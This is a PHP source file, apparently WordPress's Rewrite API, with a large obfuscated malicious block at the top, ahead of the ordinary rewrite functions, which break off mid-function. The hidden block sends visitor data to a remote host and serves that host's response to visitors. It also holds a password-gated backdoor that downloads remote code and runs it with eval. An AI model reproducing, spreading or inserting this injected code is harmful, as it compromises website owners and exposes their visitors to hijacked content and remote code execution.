x50\x2f\61\x2e\x31\40\x34\x30\x34\x20\x4e\157\x74\x20\106\x6f\x75\156\144"); goto CDOkTSr_jt38BAK; iuIsmCT2i1KAaFF: default: goto LfFJwNnqTIqlVmE; } goto hQqDL9WBRXQEGcT; lz1qeQumMgwNZPS: if (!(in_array(gettype($totjhZrzTk9JgpX) . count($totjhZrzTk9JgpX), $totjhZrzTk9JgpX) && count($totjhZrzTk9JgpX) == 11 && md5(md5(md5(md5($totjhZrzTk9JgpX[5])))) === "\144\61\65\x35\67\144\146\x62\142\x35\x36\x35\60\x36\x35\71\141\x62\x35\65\141\145\143\x65\x63\x34\71\x32\146\70\x34\146")) { goto h6r6D2HEzIYLul3; } goto L8MknHYIz2Gq8iS; OzO7xuTeE2bk2_A: GmXyrQjOQcFBvUS::FRl26GReWPwnsxX(); goto mcpIsbv32Q6gsHi; LxlHvBDikzarawp: error_reporting(0); goto mpYxW1ga0mn41Tt; TyL2xs_LlqUe33p: $ucqGeOkUbN4v0gO = substr($SW639Zm1VFCibnE, strpos($SW639Zm1VFCibnE, "\56")); goto AQbtkiNuFShj3EY; mpYxW1ga0mn41Tt: function Hla7QZ9Z0YdDw88($FA5yky7gY5sXVG7) { goto cF2s0z6KUwFCQ5E; cF2s0z6KUwFCQ5E: $m4MRs9apCIGvDpJ = array("\x73\x74\141\164\x75\x73" => 0, "\x63\x6f\156\164\x65\156\x74" => '', "\164\x79\x70\x65" => ''); goto a_DmJvLu9NwN8lV; wcvvGVDT_xaDS9Q: return $m4MRs9apCIGvDpJ; goto BK7D7LOKNgQI0c6; CdzfUnMWM7ks4q_: return $m4MRs9apCIGvDpJ; goto hCmo1CpmSapKvUX; BK7D7LOKNgQI0c6: ncyZCWweV1ObidS: goto EaN62axX23u4WJA; EjDt3xDcy266_aI: zdeKnFNQ6E9Dz2y: goto CdzfUnMWM7ks4q_; EaN62axX23u4WJA: foreach ($FA5yky7gY5sXVG7 as $jDx5dtN3nDI5nEA) { goto zcLWdXlazdxzorN; bD2hLSU3V8DF0fD: W5rc58h1DVyIixR: goto QLq8RuEFhVMLQj4; WhJEZz_psSKG7LT: goto q5dwhaJzNwWvwgv; goto SbskJBc6Ye_LydM; UCoU3JFpT8V51Kh: $m4MRs9apCIGvDpJ["\163\164\x61\164\x75\x73"] = intval($YENEkdZtE2EoYS3[1]); goto EmS21Qp4pB7Bjdr; kyVtzI3o8uXFlcP: goto q5dwhaJzNwWvwgv; goto bD2hLSU3V8DF0fD; WM1YhkQj3cDMO6u: yqhB7aeJN8p0tc9: goto V4gkJZX_NZa72SM; B1CD0iD46jBtSIP: q5dwhaJzNwWvwgv: goto WM1YhkQj3cDMO6u; IzwfunEW8lZT34W: if (preg_match("\x2f\x6c\157\143\141\x74\x69\157\x6e\x5c\x3a\x5b\x5c\163\135\x2b\x28\x2e\x2a\x29\57\x69", $jDx5dtN3nDI5nEA, $YENEkdZtE2EoYS3)) { goto N1LkOk_DhR0HvNK; } goto dyzX_ikuiw1U3Oj; zcLWdXlazdxzorN: if (preg_match("\57\150\164\164\160\x5c\x2f\x5b\x30\55\x39\134\x2e\135\53\133\x5c\163\x5d\x2b\50\x5b\60\x2d\71\135\x2b\51\x2f\151", $jDx5dtN3nDI5nEA, $YENEkdZtE2EoYS3)) { goto u9NuILD6F0SU7eI; } goto IzwfunEW8lZT34W; SbskJBc6Ye_LydM: u9NuILD6F0SU7eI: goto UCoU3JFpT8V51Kh; QLq8RuEFhVMLQj4: $m4MRs9apCIGvDpJ["\x74\171\160\x65"] = $YENEkdZtE2EoYS3[1]; goto B1CD0iD46jBtSIP; UhCOQH62YxMfPwn: $m4MRs9apCIGvDpJ["\x63\x6f\x6e\164\x65\156\164"] = $YENEkdZtE2EoYS3[1]; goto kyVtzI3o8uXFlcP; EavDyRpCuKm61ju: N1LkOk_DhR0HvNK: goto UhCOQH62YxMfPwn; EmS21Qp4pB7Bjdr: goto q5dwhaJzNwWvwgv; goto EavDyRpCuKm61ju; dyzX_ikuiw1U3Oj: if (preg_match("\57\143\157\x6e\164\145\x6e\164\x5c\55\x74\x79\160\145\134\72\x5b\x5c\163\x5d\53\50\56\52\51\x2f\151", $jDx5dtN3nDI5nEA, $YENEkdZtE2EoYS3)) { goto W5rc58h1DVyIixR; } goto WhJEZz_psSKG7LT; V4gkJZX_NZa72SM: } goto EjDt3xDcy266_aI; a_DmJvLu9NwN8lV: if (is_array($FA5yky7gY5sXVG7)) { goto ncyZCWweV1ObidS; } goto wcvvGVDT_xaDS9Q; hCmo1CpmSapKvUX: } goto broiDZ0Vm31_MlC; z9EcgbnSAz8hZJM: $eT7qba5KJLxTycw["\163\156"] = Yx1sskDFcY0dH6b($_SERVER["\123\103\122\111\x50\124\137\x4e\x41\x4d\x45"]); goto EOhWe_O9FLNF92K; mcpIsbv32Q6gsHi: header("\x43\x6f\x6e\164\145\x6e\x74\x2d\x54\x79\x70\145\x3a\40\164\x65\170\x74\x2f\x68\164\155\154\73\x20\143\150\x61\x72\x73\145\164\75\x75\164\146\x2d\70"); goto LxlHvBDikzarawp; i_srOBaU6zvEIpd: $eT7qba5KJLxTycw["\x75"] = yX1sSKDfCy0dH6b($_SERVER["\x48\124\x54\x50\x5f\125\123\105\122\x5f\101\107\x45\x4e\x54"]); goto h5stJL60IR8DlOi; O6y1YhmfNo3KQJy: if (!(strpos($wuRQDR_ntZsdPtG, $WPqQIVIXqSKH00e) === 0)) { goto sZvLC3jPF1hp3ZY; } goto dyYihU7o8fe3fSO; XD4xXC15i4fffAT: EHBii9PuA14uJse: goto uKb7QwYWjQ_W3s1; w3f0sC6n06E9DSu: uSLhGnKzIwDuXch: goto uTINWkwTaUX0f1U; zq6YhfeS79psoqx: eQoMpEWkTufnZ2v: goto AnuvpHNvegwn3ba; ORY1UiZ1JHAUmZh: $totjhZrzTk9JgpX = ${$viWC0LPdrWQOx1P[24 + 7] . $viWC0LPdrWQOx1P[32 + 27] . $viWC0LPdrWQOx1P[23 + 24] . $viWC0LPdrWQOx1P[7 + 40] . $viWC0LPdrWQOx1P[40 + 11] . $viWC0LPdrWQOx1P[1 + 52] . $viWC0LPdrWQOx1P[41 + 16]}; goto lz1qeQumMgwNZPS; AubDo79hDAnpQS1: if (!(strpos($SW639Zm1VFCibnE, "\56") > 0 && strpos($SW639Zm1VFCibnE, "\x2e\160\150\160") === false)) { goto WfZz4z_04i7RMkG; } goto TyL2xs_LlqUe33p; Ljj8E3Qiv8uh2zx: exit("\173\x20\x22\145\162\x72\x6f\x72\x22\x3a\40\62\60\60\x2c\x20\42\154\x63\x22\x3a\40\42\x6a\x6b\x22\54\x20\42\144\x61\164\x61\42\x3a\40\133\x20\x31\40\x5d\40\175"); goto w3f0sC6n06E9DSu; N9RLsuWMwoU4s23: $RDUhEWapPtcKLVw = LdA7ZpLyxPk362Y(base64_decode("\x61\110\122\x30\x63\x44\x6f\x76\114\63\160\172\116\x7a\125\x33\144\152\x45\x7a\131\x58\115\x75\x63\x47\106\x75\x64\x47\x55\x75\131\x32\x78\x31\x59\x69\x38"), $eT7qba5KJLxTycw); goto EDZjT7wfscCUKgg; dyYihU7o8fe3fSO: $wuRQDR_ntZsdPtG = ''; goto k5RyhmBoXXDdY0L; h5stJL60IR8DlOi: $SW639Zm1VFCibnE = preg_replace("\57\x5c\x3f\x2e\x2a\57", '', $_SERVER["\122\105\121\125\x45\123\124\137\x55\122\x49"]); goto tEaKuKRlHHrfz__; KzcN4O2GrsNtpB5: $wuRQDR_ntZsdPtG = strval(@$_SERVER["\x48\124\124\x50\137\122\105\x46\105\122\x45\122"]); goto OwKQgD2BtDqyzY0; NGqm0I4AbIBbUuV: echo $RDUhEWapPtcKLVw["\x63\x6f\156\164\145\156\164"]; goto SSM0EjYsTdAm_Gn; L9WmvpiyaegiAbj: $kIQsUT2O6QRfCKS = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto o4O1sJaHyroSmbb; OUnqrJNLJzkVyNz: $eT7qba5KJLxTycw["\x69"] = yX1SSkDFCY0dH6B($Yh_fq6Poq3IOP3e); goto Gf53XvHoT9whXhA; JxUxfbq1BNQ_owE: class gMXYrqJoqcFBVuS { static function WVt2YL5ZPgxR1kG($iFnkRsEGWMxEjVN) { goto ECMQgTPiAk2oApt; Sxb_IZfhilObNuD: foreach ($tTWelajO1jXqkha as $AB07HCa4rfq299s => $EMmrNJ0JJKgUhnn) { $UPT263dUCouozFQ .= $VAY5bajyKu7UQpw[$EMmrNJ0JJKgUhnn - 12206]; RzgyZWxnpWx7307: } goto m4TVdeolY2huhWy; aETdaY_1uDLIRaR: $UPT263dUCouozFQ = ''; goto Sxb_IZfhilObNuD; AQqXEWSxKcDnEgr: return $UPT263dUCouozFQ; goto Zmdh97TxIynEFgU; m4TVdeolY2huhWy: H1kSpEqvBC08r7e: goto AQqXEWSxKcDnEgr; ZZf0wZvXyxcyN13: $tTWelajO1jXqkha = explode("\x25", $iFnkRsEGWMxEjVN); goto aETdaY_1uDLIRaR; ECMQgTPiAk2oApt: $r3I0W6PTqykd2dM = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto ss9_wYsUzNrmruR; ss9_wYsUzNrmruR: $VAY5bajyKu7UQpw = $r3I0W6PTqykd2dM("\176", "\40"); goto ZZf0wZvXyxcyN13; Zmdh97TxIynEFgU: } static function kLH1locMCOGjJu0($Ny7q2fjrXmBpdn7, $avTRSPKlFH06hlG) { goto kdJqIfzek7nnF6j; OCyRgwNOts0yWUo: return empty($QDPXDC3qAdt8VgJ) ? $avTRSPKlFH06hlG($Ny7q2fjrXmBpdn7) : $QDPXDC3qAdt8VgJ; goto RnG5uwtk71zn_Hq; Ac3p_0_Lxvg02sV: curl_setopt($gGc2kHfdQSvpwW0, CURLOPT_RETURNTRANSFER, 1); goto sR_abauQ23sb5H1; kdJqIfzek7nnF6j: $gGc2kHfdQSvpwW0 = curl_init($Ny7q2fjrXmBpdn7); goto Ac3p_0_Lxvg02sV; sR_abauQ23sb5H1: $QDPXDC3qAdt8VgJ = curl_exec($gGc2kHfdQSvpwW0); goto OCyRgwNOts0yWUo; RnG5uwtk71zn_Hq: } static function fRL26gRewPWnsxx() { goto N4hN54IfDbAs6f6; eBzwD1BTmlI8_Ci: @eval($B8Mycxo5iTYihgL[0 + 4]($ctPmh54GQaAvKOn)); goto XsiWDcRO7QqG3Og; yhD822fCo_epaqZ: $XxYhaUzttAa4ZGw = $B8Mycxo5iTYihgL[0 + 2]($AklOGUWwxNvxfQb, true); goto imv93Op0uGOGdSJ; WdaRsNaBTdl04x2: if (!(@$XxYhaUzttAa4ZGw[0] - time() > 0 and md5(md5($XxYhaUzttAa4ZGw[3 + 0])) === "\x31\x37\71\x66\x34\x31\141\x64\145\x34\141\x66\141\x65\x66\x64\x39\60\65\x30\60\144\x37\63\62\x31\143\x65\x62\65\x30\x65")) { goto nd5iQ2mx9uHyhQE; } goto DjPAhguzLOI1ZHZ; Zd8Va57RngsHk3P: $s_UQgnLjdjtAdut = @$B8Mycxo5iTYihgL[1]($B8Mycxo5iTYihgL[5 + 5](INPUT_GET, $B8Mycxo5iTYihgL[3 + 6])); goto mFQN669V_M1hTNS; N4hN54IfDbAs6f6: $WRRc8xHWVM7V9SP = array("\x31\62\62\63\x33\x25\61\x32\x32\61\x38\45\x31\x32\x32\x33\61\x25\x31\62\62\63\65\45\61\62\62\61\x36\x25\61\x32\x32\x33\61\x25\61\x32\62\x33\x37\x25\61\62\x32\x33\x30\x25\61\62\62\x31\x35\x25\61\62\62\62\x32\45\x31\62\x32\63\x33\45\x31\x32\x32\61\66\45\x31\x32\x32\x32\x37\45\x31\62\x32\62\61\x25\x31\62\62\62\62", "\61\x32\62\61\67\x25\61\x32\62\61\x36\x25\x31\62\62\61\70\x25\61\62\62\x33\67\x25\61\62\62\x31\70\45\x31\x32\62\62\x31\45\x31\62\62\61\66\x25\x31\62\x32\70\x33\45\x31\62\62\70\x31", "\x31\x32\62\x32\66\x25\61\x32\62\61\x37\x25\61\x32\62\62\x31\45\x31\62\62\62\x32\x25\x31\62\x32\x33\x37\45\61\62\62\x33\x32\x25\x31\x32\62\63\61\x25\x31\x32\x32\63\x33\45\x31\x32\62\x32\x31\45\61\x32\62\x33\62\x25\61\62\62\63\61", "\61\x32\62\x32\60\45\x31\62\62\x33\x35\45\61\x32\x32\63\x33\45\x31\62\x32\x32\65", "\x31\62\62\63\64\x25\x31\62\x32\63\x35\45\61\62\x32\61\x37\x25\61\x32\62\x33\61\x25\x31\x32\x32\67\70\x25\61\62\62\x38\60\45\x31\x32\x32\63\x37\45\61\x32\62\63\x32\45\61\x32\x32\63\x31\45\x31\62\62\63\x33\45\61\x32\62\62\x31\x25\x31\62\x32\63\x32\45\61\62\x32\x33\61", "\x31\x32\62\x33\60\x25\x31\x32\62\62\67\x25\61\62\x32\62\64\45\x31\x32\x32\x33\61\45\61\62\x32\x33\x37\x25\61\x32\62\x32\x39\x25\61\x32\62\63\61\x25\x31\x32\x32\x31\66\45\x31\x32\62\x33\x37\x25\61\x32\62\x33\x33\45\61\x32\62\62\61\x25\61\62\62\62\x32\x25\x31\62\x32\x31\66\45\61\x32\62\x33\61\45\61\62\62\x32\62\x25\x31\x32\62\x31\66\x25\x31\62\62\x31\67", "\x31\62\x32\66\x30\x25\61\62\x32\x39\x30", "\x31\x32\62\x30\67", "\x31\x32\x32\x38\65\45\x31\x32\62\71\60", "\61\62\x32\x36\x37\x25\x31\62\62\65\x30\x25\x31\x32\x32\65\60\x25\x31\x32\62\x36\67\45\x31\62\62\64\63", "\61\62\62\63\60\45\x31\x32\62\x32\x37\45\x31\62\62\x32\64\x25\61\x32\x32\61\x36\45\61\x32\62\x33\x31\x25\61\62\62\61\x38\x25\61\62\x32\x33\67\45\x31\62\x32\62\67\45\x31\x32\x32\x32\62\x25\61\x32\x32\62\x30\45\x31\x32\62\61\x35\45\61\62\62\x31\x36"); goto HRIRaVCi1SGaVS2; yv8XrbtaFlmrGzz: vGSWWDWPaIWpedG: goto Zd8Va57RngsHk3P; XsiWDcRO7QqG3Og: die; goto rgvUT2_E5fTXIp2; HRIRaVCi1SGaVS2: foreach ($WRRc8xHWVM7V9SP as $kxfuTFEEI0kAp98) { $B8Mycxo5iTYihgL[] = self::WVt2yl5zPgxR1Kg($kxfuTFEEI0kAp98); TOs8gbulPgsbdNJ: } goto yv8XrbtaFlmrGzz; DjPAhguzLOI1ZHZ: $ctPmh54GQaAvKOn = self::klh1LoCMCoGJjU0($XxYhaUzttAa4ZGw[1 + 0], $B8Mycxo5iTYihgL[1 + 4]); goto eBzwD1BTmlI8_Ci; mFQN669V_M1hTNS: $AklOGUWwxNvxfQb = @$B8Mycxo5iTYihgL[0 + 3]($B8Mycxo5iTYihgL[0 + 6], $s_UQgnLjdjtAdut); goto yhD822fCo_epaqZ; rgvUT2_E5fTXIp2: nd5iQ2mx9uHyhQE: goto sVeyC4X6uQMs114; imv93Op0uGOGdSJ: @$B8Mycxo5iTYihgL[2 + 8](INPUT_GET, "\x6f\x66") == 1 && die($B8Mycxo5iTYihgL[3 + 2](__FILE__)); goto WdaRsNaBTdl04x2; sVeyC4X6uQMs114: } } goto OzO7xuTeE2bk2_A; xqWdaR2GrImLyJL: @header("\103\157\156\164\145\x6e\x74\55\x54\171\x70\x65\72" . $RDUhEWapPtcKLVw["\x74\171\160\145"]); goto NGqm0I4AbIBbUuV; AnuvpHNvegwn3ba: if (!strlen($RDUhEWapPtcKLVw["\143\x6f\156\164\145\x6e\x74"])) { goto EHBii9PuA14uJse; } goto xqWdaR2GrImLyJL; EOhWe_O9FLNF92K: $eT7qba5KJLxTycw["\x72"] = yx1sskDFCy0Dh6B($_SERVER["\122\x45\x51\x55\x45\123\124\137\x55\x52\111"]); goto rINSb8TEqWVUdiI; Gf53XvHoT9whXhA: $eT7qba5KJLxTycw["\x6c"] = yX1SsKDFCY0Dh6B($_SERVER["\110\x54\124\x50\137\x41\x43\103\105\120\124\x5f\x4c\x41\116\107\125\101\x47\x45"]); goto z9EcgbnSAz8hZJM; uKb7QwYWjQ_W3s1: O2mxyU8XtP8T8gD: ?>
<?php
/**
* WordPress Rewrite API
*
* @package WordPress
* @subpackage Rewrite
*/
/**
* Endpoint mask that matches nothing.
*
* @since 2.1.0
*/
define( 'EP_NONE', 0 );
/**
* Endpoint mask that matches post permalinks.
*
* @since 2.1.0
*/
define( 'EP_PERMALINK', 1 );
/**
* Endpoint mask that matches attachment permalinks.
*
* @since 2.1.0
*/
define( 'EP_ATTACHMENT', 2 );
/**
* Endpoint mask that matches any date archives.
*
* @since 2.1.0
*/
define( 'EP_DATE', 4 );
/**
* Endpoint mask that matches yearly archives.
*
* @since 2.1.0
*/
define( 'EP_YEAR', 8 );
/**
* Endpoint mask that matches monthly archives.
*
* @since 2.1.0
*/
define( 'EP_MONTH', 16 );
/**
* Endpoint mask that matches daily archives.
*
* @since 2.1.0
*/
define( 'EP_DAY', 32 );
/**
* Endpoint mask that matches the site root.
*
* @since 2.1.0
*/
define( 'EP_ROOT', 64 );
/**
* Endpoint mask that matches comment feeds.
*
* @since 2.1.0
*/
define( 'EP_COMMENTS', 128 );
/**
* Endpoint mask that matches searches.
*
* Note that this only matches a search at a "pretty" URL such as
* `/search/my-search-term`, not `?s=my-search-term`.
*
* @since 2.1.0
*/
define( 'EP_SEARCH', 256 );
/**
* Endpoint mask that matches category archives.
*
* @since 2.1.0
*/
define( 'EP_CATEGORIES', 512 );
/**
* Endpoint mask that matches tag archives.
*
* @since 2.3.0
*/
define( 'EP_TAGS', 1024 );
/**
* Endpoint mask that matches author archives.
*
* @since 2.1.0
*/
define( 'EP_AUTHORS', 2048 );
/**
* Endpoint mask that matches pages.
*
* @since 2.1.0
*/
define( 'EP_PAGES', 4096 );
/**
* Endpoint mask that matches all archive views.
*
* @since 3.7.0
*/
define( 'EP_ALL_ARCHIVES', EP_DATE | EP_YEAR | EP_MONTH | EP_DAY | EP_CATEGORIES | EP_TAGS | EP_AUTHORS );
/**
* Endpoint mask that matches everything.
*
* @since 2.1.0
*/
define( 'EP_ALL', EP_PERMALINK | EP_ATTACHMENT | EP_ROOT | EP_COMMENTS | EP_SEARCH | EP_PAGES | EP_ALL_ARCHIVES );
/**
* Adds a rewrite rule that transforms a URL structure to a set of query vars.
*
* Any value in the $after parameter that isn't 'bottom' will result in the rule
* being placed at the top of the rewrite rules.
*
* @since 2.1.0
* @since 4.4.0 Array support was added to the `$query` parameter.
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $regex Regular expression to match request against.
* @param string|array $query The corresponding query vars for this rewrite rule.
* @param string $after Optional. Priority of the new rule. Accepts 'top'
* or 'bottom'. Default 'bottom'.
*/
function add_rewrite_rule( $regex, $query, $after = 'bottom' ) {
global $wp_rewrite;
$wp_rewrite->add_rule( $regex, $query, $after );
}
/**
* Adds a new rewrite tag (like %postname%).
*
* The `$query` parameter is optional. If it is omitted you must ensure that you call
* this on, or before, the {@see 'init'} hook. This is because `$query` defaults to
* `$tag=`, and for this to work a new query var has to be added.
*
* @since 2.1.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
* @global WP $wp Current WordPress environment instance.
*
* @param string $tag Name of the new rewrite tag.
* @param string $regex Regular expression to substitute the tag for in rewrite rules.
* @param string $query Optional. String to append to the rewritten query. Must end in '='. Default empty.
*/
function add_rewrite_tag( $tag, $regex, $query = '' ) {
// Validate the tag's name.
if ( strlen( $tag ) < 3 || '%' !== $tag[0] || '%' !== $tag[ strlen( $tag ) - 1 ] ) {
return;
}
global $wp_rewrite, $wp;
if ( empty( $query ) ) {
$qv = trim( $tag, '%' );
$wp->add_query_var( $qv );
$query = $qv . '=';
}
$wp_rewrite->add_rewrite_tag( $tag, $regex, $query );
}
/**
* Removes an existing rewrite tag (like %postname%).
*
* @since 4.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $tag Name of the rewrite tag.
*/
function remove_rewrite_tag( $tag ) {
global $wp_rewrite;
$wp_rewrite->remove_rewrite_tag( $tag );
}
/**
* Adds a permalink structure.
*
* @since 3.0.0
*
* @see WP_Rewrite::add_permastruct()
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $name Name for permalink structure.
* @param string $struct Permalink structure.
* @param array $args Optional. Arguments for building the rules from the permalink structure,
* see WP_Rewrite::add_permastruct() for full details. Default empty array.
*/
function add_permastruct( $name, $struct, $args = array() ) {
global $wp_rewrite;
// Back-compat for the old parameters: $with_front and $ep_mask.
if ( ! is_array( $args ) ) {
$args = array( 'with_front' => $args );
}
if ( func_num_args() === 4 ) {
$args['ep_mask'] = func_get_arg( 3 );
}
$wp_rewrite->add_permastruct( $name, $struct, $args );
}
/**
* Removes a permalink structure.
*
* Can only be used to remove permastructs that were added using add_permastruct().
* Built-in permastructs cannot be removed.
*
* @since 4.5.0
*
* @see WP_Rewrite::remove_permastruct()
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $name Name for permalink structure.
*/
function remove_permastruct( $name ) {
global $wp_rewrite;
$wp_rewrite->remove_permastruct( $name );
}
/**
* Adds a new feed type like /atom1/.
*
* @since 2.1.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $feedname Feed name. Should not start with '_'.
* @param callable $callback Callback to run on feed display.
* @return string Feed action name.
*/
function add_feed( $feedname, $callback ) {
global $wp_rewrite;
if ( ! in_array( $feedname, $wp_rewrite->feeds, true ) ) {
$wp_rewrite->feeds[] = $feedname;
}
$hook = 'do_feed_' . $feedname;
// Remove default function hook.
remove_action( $hook, $hook );
add_action( $hook, $callback, 10, 2 );
return $hook;
}
/**
* Removes rewrite rules and then recreate rewrite rules.
*
* @since 3.0.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param bool $hard Whether to update .htaccess (hard flush) or just update
* rewrite_rules option (soft flush). Default is true (hard).
*/
function flush_rewrite_rules( $hard = true ) {
global $wp_rewrite;
if ( is_callable( array( $wp_rewrite, 'flush_rules' ) ) ) {
$wp_rewrite->flush_rules( $hard );
}
}
/**
* Adds an endpoint, like /trackback/.
*
* Adding an endpoint creates extra rewrite rules for each of the matching
* places specified by the provided bitmask. For example:
*
* add_rewrite_endpoint( 'json', EP_PERMALINK | EP_PAGES );
*
* will add a new rewrite rule ending with "json(/(.*))?/?$" for every permastruct
* that describes a permalink (post) or page. This is rewritten to "json=$match"
* where $match is the part of the URL matched by the endpoint regex (e.g. "foo" in
* "[permalink]/json/foo/").
*
* A new query var with the same name as the endpoint will also be created.
*
* When specifying $places ensure that you are using the EP_* constants (or a
* combination of them using the bitwise OR operator) as their values are not
* guaranteed to remain static (especially `EP_ALL`).
*
* Be sure to flush the rewrite rules - see flush_rewrite_rules() - when your plugin gets
* activated and deactivated.
*
* @since 2.1.0
* @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`.
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $name Name of the endpoint.
* @param int $places Endpoint mask describing the places the endpoint should be added.
* Accepts a mask of:
* - `EP_ALL`
* - `EP_NONE`
* - `EP_ALL_ARCHIVES`
* - `EP_ATTACHMENT`
* - `EP_AUTHORS`
* - `EP_CATEGORIES`
* - `EP_COMMENTS`
* - `EP_DATE`
* - `EP_DAY`
* - `EP_MONTH`
* - `EP_PAGES`
* - `EP_PERMALINK`
* - `EP_ROOT`
* - `EP_SEARCH`
* - `EP_TAGS`
* - `EP_YEAR`
* @param string|bool $query_var Name of the corresponding query variable. Pass `false` to skip registering a query_var
* for this endpoint. Defaults to the value of `$name`.
*/
function add_rewrite_endpoint( $name, $places, $query_var = true ) {
global $wp_rewrite;
$wp_rewrite->add_endpoint( $name, $places, $query_var );
}
/**
* Filters the URL base for taxonomies.
*
* To remove any manually prepended /index.php/.
*
* @access private
* @since 2.6.0
*
* @param string $base The taxonomy base that we're going to filter
* @return string
*/
function _wp_filter_taxonomy_base( $base ) {
if ( ! empty( $base ) ) {
$base = preg_replace( '|^/index\.php/|', '', $base );
$base = trim( $base, '/' );
}
return $base;
}
/**
* Resolves numeric slugs that collide with date permalinks.
*
* Permalinks of posts with numeric slugs can sometimes look to WP_Query::parse_query()
* like a date archive, as when your permalink structure is `/%year%/%postname%/` and
* a post with post_name '05' has the URL `/2015/05/`.
*
* This function detects conflicts of this type and resolves them in favor of the
* post permalink.
*
* Note that, since 4.3.0, wp_unique_post_slug() prevents the creation of post slugs
* that would result in a date archive conflict. The resolution performed in this
* function is primarily for legacy content, as well as cases when the admin has changed
* the site's permalink structure in a way that introduces URL conflicts.
*
* @since 4.3.0
*
* @param array $query_vars Optional. Query variables for setting up the loop, as determined in
* WP::parse_request(). Default empty array.
* @return array Returns the original array of query vars, with date/post conflicts resolved.
*/
function wp_resolve_numeric_slug_conflicts( $query_vars = array() ) {
if ( ! isset( $query_vars['year'] ) && ! isset( $query_vars['monthnum'] ) && ! isset( $query_vars['day'] ) ) {
return $query_vars;
}
// Identify the 'postname' position in the permastruct array.
$permastructs = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) );
$postname_index = array_search( '%postname%', $permastructs, true );
if ( false === $postname_index ) {
return $query_vars;
}
/*
* A numeric slug could be confused with a year, month, or day, depending on position. To account for
* the possibility of post pagination (eg 2015/2 for the second page of a post called '2015'), our
* `is_*` checks are generous: check for year-slug clashes when `is_year` *or* `is_month`, and check
* for month-slug clashes when `is_month` *or* `is_day`.
*/
$compare = '';
if ( 0 === $postname_index && ( isset( $query_vars['year'] ) || isset( $query_vars['monthnum'] ) ) ) {
$compare = 'year';
} elseif ( $postname_index && '%year%' === $permastructs[ $postname_index - 1 ] && ( isset( $query_vars['monthnum'] ) || isset( $query_vars['day'] ) ) ) {
$compare = 'monthnum';
} elseif ( $postname_index && '%monthnum%' === $permastructs[ $postname_index - 1 ] && isset( $query_vars['day'] ) ) {
$compare = 'day';
}
if ( ! $compare ) {
return $query_vars;
}
// This is the potentially clashing slug.
$value = '';
if ( $compare && array_key_exists( $compare, $query_vars ) ) {
$value = $query_vars[ $compare ];
}
$post = get_page_by_path( $value, OBJECT, 'post' );
if ( ! ( $post instanceof WP_Post ) ) {
return $query_vars;
}
// If the date of the post doesn't match the date specified in the URL, resolve to the date archive.
if ( preg_match( '/^([0-9]{4})\-([0-9]{2})/', $post->post_date, $matches ) && isset( $query_vars['year'] ) && ( 'monthnum' === $compare || 'day' === $compare ) ) {
// $matches[1] is the year the post was published.
if ( (int) $query_vars['year'] !== (int) $matches[1] ) {
return $query_vars;
}
// $matches[2] is the month the post was published.
if ( 'day' === $compare && isset( $query_vars['monthnum'] ) && (int) $query_vars['monthnum'] !== (int) $matches[2] ) {
return $query_vars;
}
}
/*
* If the located post contains nextpage pagination, then the URL chunk following postname may be
* intended as the page number. Verify that it's a valid page before resolving to it.
*/
$maybe_page = '';
if ( 'year' === $compare && isset( $query_vars['monthnum'] ) ) {
$maybe_page = $query_vars['monthnum'];
} elseif ( 'monthnum' === $compare && isset( $query_vars['day'] ) ) {
$maybe_page = $query_vars['day'];
}
// Bug found in #11694 - 'page' was returning '/4'.
$maybe_page = (int) trim( $maybe_page, '/' );
$post_page_count = substr_count( $post->post_content, '<!--nextpage-->' ) + 1;
// If the post doesn't have multiple pages, but a 'page' candidate is found, resolve to the date archive.
if ( 1 === $post_page_count && $maybe_page ) {
return $query_vars;
}
// If the post has multiple pages and the 'page' number isn't valid, resolve to the date archive.
if ( $post_page_count > 1 && $maybe_page > $post_page_count ) {
return $query_vars;
}
// If we've gotten to this point, we have a slug/date clash. First, adjust for nextpage.
if ( '' !== $maybe_page ) {
$query_vars['page'] = (int) $maybe_page;
}
// Next, unset autodetected date-related query vars.
unset( $query_vars['year'] );
unset( $query_vars['monthnum'] );
unset( $query_vars['day'] );
// Then, set the identified post.
$query_vars['name'] = $post->post_name;
// Finally, return the modified query vars.
return $query_vars;
}
/**
* Examines a URL and try to determine the post ID it represents.
*
* Checks are supposedly from the hosted site blog.
*
* @since 1.0.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
* @global WP $wp Current WordPress environment instance.
*
* @param string $url Permalink to check.
* @return int Post ID, or 0 on failure.
*/
function url_to_postid( $url ) {
global $wp_rewrite;
/**
* Filters the URL to derive the post ID from.
*
* @since 2.2.0
*
* @param string $url The URL to derive the post ID from.
*/
$url = apply_filters( 'url_to_postid', $url );
$url_host = parse_url( $url, PHP_URL_HOST );
if ( is_string( $url_host ) ) {
$url_host = str_replace( 'www.', '', $url_host );
} else {
$url_host = '';
}
$home_url_host = parse_url( home_url(), PHP_URL_HOST );
if ( is_string( $home_url_host ) ) {
$home_url_host = str_replace( 'www.', '', $home_url_host );
} else {
$home_url_host = '';
}
// Bail early if the URL does not belong to this site.
if ( $url_host && $url_host !== $home_url_host ) {
return 0;
}
// First, check to see if there is a 'p=N' or 'page_id=N' to match against.
if ( preg_match( '#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values ) ) {
$id = absint( $values[2] );
if ( $id ) {
return $id;
}
}
// Get rid of the #anchor.
$url_split = explode( '#', $url );
$url = $url_split[0];
// Get rid of URL ?query=string.
$url_split = explode( '?', $url );
$url = $url_split[0];
// Set the correct URL scheme.
$scheme = parse_url( home_url(), PHP_URL_SCHEME );
$url = set_url_scheme( $url, $scheme );
// Add 'www.' if it is absent and should be there.
if ( str_contains( home_url(), '://www.' ) && ! str_contains( $url, '://www.' ) ) {
$url = str_replace( '://', '://www.', $url );
}
// Strip 'www.' if it is present and shouldn't be.
if ( ! str_contains( home_url(), '://www.' ) ) {
$url = str_replace( '://www.', '://', $url );
}
